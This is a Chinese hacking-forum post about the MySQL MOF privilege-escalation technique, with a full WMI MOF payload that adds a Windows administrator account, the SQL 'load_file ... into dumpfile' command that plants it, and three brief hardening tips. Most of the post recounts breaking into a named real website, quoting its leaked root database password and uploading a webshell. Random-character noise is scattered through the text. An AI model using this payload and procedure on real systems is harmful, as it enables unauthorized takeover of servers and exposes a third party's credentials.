找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2198|回复: 0
打印 上一主题 下一主题

Mysql mof扩展漏洞实例与防范

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:49:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Mysql mof扩展漏洞防范方法
* w$ `$ T" d/ f4 m1 T7 ~5 K" k2 y7 x* _) W3 ?6 g6 q# G5 e) o. v
网上公开的一些利用代码:
! {- V* r% \( W' s: ^( Y6 o' n: D2 T9 d$ Q0 d$ B: x" h( R
#pragma namespace(“\\\\.\\root\\subscription”)
/ v' ~: G3 {7 S* y3 Q2 e5 o
3 J0 z7 y9 e# e9 A4 S" Uinstance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };2 d6 e& c3 O& r$ c6 s4 e

, I7 e& e9 O- I6 k1 i& \
" {* s7 N! Z  ]2 }7 B
" L( Y1 @- b1 D * F7 N0 x" l& L* o

* i  Y" v4 Q$ C6 J4 z# ]' F1 H连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
8 ?& B8 L5 @* ^  p# J% @2 Y# A, s从上面代码来看得出解决办法:: O, Q" s) x7 @0 _0 e9 o: o

8 D1 E' P/ v- d, j* C5 Y1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数3 u+ M& o. A* D# M4 t" v8 G6 S% k
- W5 b- a4 b1 Z( b. D7 o
2、禁止使用”WScript.Shel”组件
" [. k% i. p+ O' z( _0 t! {! q& l; k- P
3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER
* W) x% Y# J7 r: l* a5 ?8 @
' G$ d7 T) G( r8 O( p2 w当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下
+ s% a7 A& S  v; W3 J: ^, v. I  S1 T1 n
事情是这样发生的  一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权; S8 D  t( p+ i, l5 ?0 V

) m$ x0 g4 W# Y8 F; v但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容- \8 \* s. c: e: O
0 r  E8 F& N1 _# g
看懂了后就开始练手吧
  D! M, @% x+ N. [' _
6 T6 k% O9 |1 n0 l! b$ \9 thttp://www.webbmw.com/config/config_ucenter.php 一句话 a
8 @6 Z4 f6 I# |$ D! s
( `/ e! A+ `6 |  {; U; b$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。2 Z/ a- c. g7 N% `; l# b+ W3 W8 m
( l8 ]) T3 C# ^
于是直接用菜刀开搞
# w* O4 ?) J4 U* e2 o3 Z) B1 U
1 d  Z. Q& @& M) C上马先& W, l2 {8 t4 [3 S* ~- O2 d% T/ E
5 B% x* ?1 t  e# G0 z
既然有了那些账号 之类的 于是我们就执行吧…….* q# \8 X$ Z* j" F" |7 ?/ f- ?, q8 `

( F) `! v) C3 A" g* V4 h! ~9 O$ E小小的说下
0 H" w2 C# m1 g& {# Y7 P( k3 z( x/ [2 x% d5 P- u0 }0 A3 I4 C
在这里第1次执行未成功        原因未知6 |2 U1 T! J" {6 _, x- d3 k
0 f# R$ H* O; y% ^. E1 ?
我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
1 C; N; m- C% I( F) x0 n
* a6 x4 ~6 u$ I#pragma namespace(“\\\\.\\root\\subscription”)
: i  P8 U6 J; {5 P# ]5 G& F' y( \( ?( H3 c7 u. G7 C. b
instance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };: z, |( s8 S! V7 u
5 n+ U2 W* F+ O
我是将文件放到C:\WINDOWS\temp\1.mof
' P) g5 o- |2 E
5 @% z5 p- i4 e. a- I. [1 l所以我们就改下执行的代码' Q6 w% U  x$ _" G6 m- a

* U* Z' ~0 O! g  Eselect load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;5 V% d2 \$ E0 }8 h
: s6 A$ c  }* W% o) K) a9 d
- x' h" Z$ E2 L. L" q/ R% K2 B
& s& e5 V% R! P2 i
但是 你会发现账号还是没有躺在那里。。
  n. U5 f7 E/ A# \+ T
& I; i* e* _6 A. m. G于是我就感觉蛋疼
* F8 u! u9 y& x4 [" b9 T
! y3 a( O' M  \. _1 M4 K! Y3 t9 e, Z' ]就去一个一个去执行 但是执行到第2个 mysql时就成功了………8 D* [7 H9 `" u% e
  A4 Z2 D' R) l5 U& ^: _, t

* v$ P( j4 ^! h$ {/ `) C+ X. ]2 f9 r% E8 O# t
但是其他库均不成功…
) q5 x) L. c5 S) e  E- m% C5 e# G& @% _: e$ Q) P" P
我就很费解呀 到底为什么不成功求大牛解答…2 x: d, u* r3 y! N& x
6 L9 ?5 o) H% A0 g' r
6 W. f1 |% ?9 [+ S& }

3 D& Z' l/ q" V- g: M1 U
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表